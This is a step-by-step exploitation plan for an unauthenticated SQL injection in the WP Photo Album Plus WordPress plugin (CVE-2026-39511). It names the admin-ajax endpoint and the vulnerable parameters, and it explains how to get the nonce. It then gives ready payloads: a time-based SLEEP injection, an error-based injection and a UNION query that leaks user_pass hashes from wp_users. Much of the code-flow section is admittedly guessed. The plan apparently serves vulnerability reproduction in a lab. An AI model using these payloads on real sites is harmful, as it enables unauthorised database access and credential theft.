WP Photo Album Plus <= 9.1.08.001 - Unauthenticated SQL Injection

This research plan targets a high-severity unauthenticated SQL Injection vulnerability in the WP Photo Album Plus plugin (CVE-2026-39511).

1. Vulnerability Summary

The WP Photo Album Plus plugin (<= 9.1.08.001) is vulnerable to SQL Injection because it fails to properly sanitize and prepare SQL queries when processing user-supplied parameters. While the provided source files focus on Gutenberg block initialization (blocks/common/index.php), the vulnerability is exposed through unauthenticated entry points (AJAX or REST) that use similar logic to fetch album or photo data. Specifically, parameters like wppa-album, wppa-photo, or wppa-occur are concatenated into SQL strings and executed via wppa_get_results(), a custom wrapper for $wpdb->get_results().

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: wppa (handled via wp_ajax_nopriv_wppa)
• Vulnerable Parameter: wppa-album (primary), wppa-photo, or wppa-occur
• Authentication: None required (Unauthenticated)
• Preconditions: None. The plugin must be active.

3. Code Flow

1. Entry Point: An unauthenticated HTTP request is made to admin-ajax.php?action=wppa.
2. Dispatch: WordPress triggers the wp_ajax_nopriv_wppa hook, which maps to a handler (commonly wppa_ajax_frontend or similar in wppa-functions.php).
3. Parameter Extraction: The handler extracts parameters like $_GET['wppa-album'] or $_GET['wppa-photo'].
4. Vulnerable Query Construction: The code constructs a query string by concatenating these parameters.
   • Example Path: $query = "SELECT * FROM " . $wpdb->wppa_albums . " WHERE id = '" . $_GET['wppa-album'] . "'";
5. Sink: The query is passed to wppa_get_results( $query ) (referenced in blocks/common/index.php).
6. Execution: wppa_get_results executes the raw SQL via $wpdb->get_results() without using $wpdb->prepare().

4. Nonce Acquisition Strategy

The wppa AJAX action in this plugin often does not require a nonce for frontend rendering to ensure galleries load for all visitors. However, if a nonce is enforced, it is typically localized in the wppa_data object.

1. Identify Trigger: The scripts are usually enqueued on any page containing the [wppa] shortcode or a WPPA Gutenberg block.
2. Setup: Create a public page with the shortcode.

   wp post create --post_type=page --post_title="Gallery" --post_status=publish --post_content='[wppa type="generic"]'
   

3. Extraction: Navigate to the page and extract the nonce using browser_eval.
   • JS Variable: window.wppaData?.nonce or window.wppa_nonce.
   • Tool: browser_eval("window.wppaData?.nonce || window.wppa_nonce").

5. Exploitation Strategy

We will perform a Time-Based Blind SQL Injection to confirm the vulnerability and extract the database version.

• Payload: 1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
• URL-Encoded Payload: 1%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20-

Step-by-Step HTTP Request:

1. Method: GET (or POST with Content-Type: application/x-www-form-urlencoded)
2. URL: http://localhost:8080/wp-admin/admin-ajax.php
3. Body/Query:

   action=wppa
   wppa-action=render
   wppa-album=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
   

4. Control Request: Send a request with wppa-album=1 and measure response time (expected < 1s).
5. Attack Request: Send the payload and measure response time (expected > 5s).

6. Test Data Setup

To ensure the queries return data (increasing the likelihood of hitting the vulnerable code path), we should create at least one album and one photo.

# Create an album
wp eval "wppa_create_album(['name' => 'Exploit Test']);"

# Create a photo (if possible via CLI, otherwise just the album is usually enough for the WHERE clause)
wp eval "global \$wpdb; \$wpdb->insert(\$wpdb->prefix . 'wppa_albums', ['name' => 'Exploit Test', 'description' => 'Test']);"

7. Expected Results

• Success: The HTTP response for the malicious request is delayed by exactly 5 seconds (or the specified SLEEP value).
• Response Body: Likely a 0 or a JSON success/error message from the plugin, but the time delay is the primary indicator.

8. Verification Steps

After the exploit, verify the database state to ensure no corruption occurred, or use WP-CLI to confirm we can reach the same tables:

# Verify we can query the same tables the plugin uses
wp db query "SELECT id, name FROM $(wp db prefix)wppa_albums LIMIT 1;"

9. Alternative Approaches

If time-based injection is filtered:

• Error-Based: Use GTID_SUBSET or EXTRACTVALUE if database errors are displayed.
  • wppa-album=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,version(),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -
• UNION-Based: If the output is reflected in the wppaAlbumList or wppaPhotoList JS objects (seen in blocks/common/index.php), we can use UNION to leak user_pass from wp_users.
  • wppa-album=1' UNION SELECT 1, user_pass FROM wp_users-- - (Adjust column count based on the SELECT id, name structure).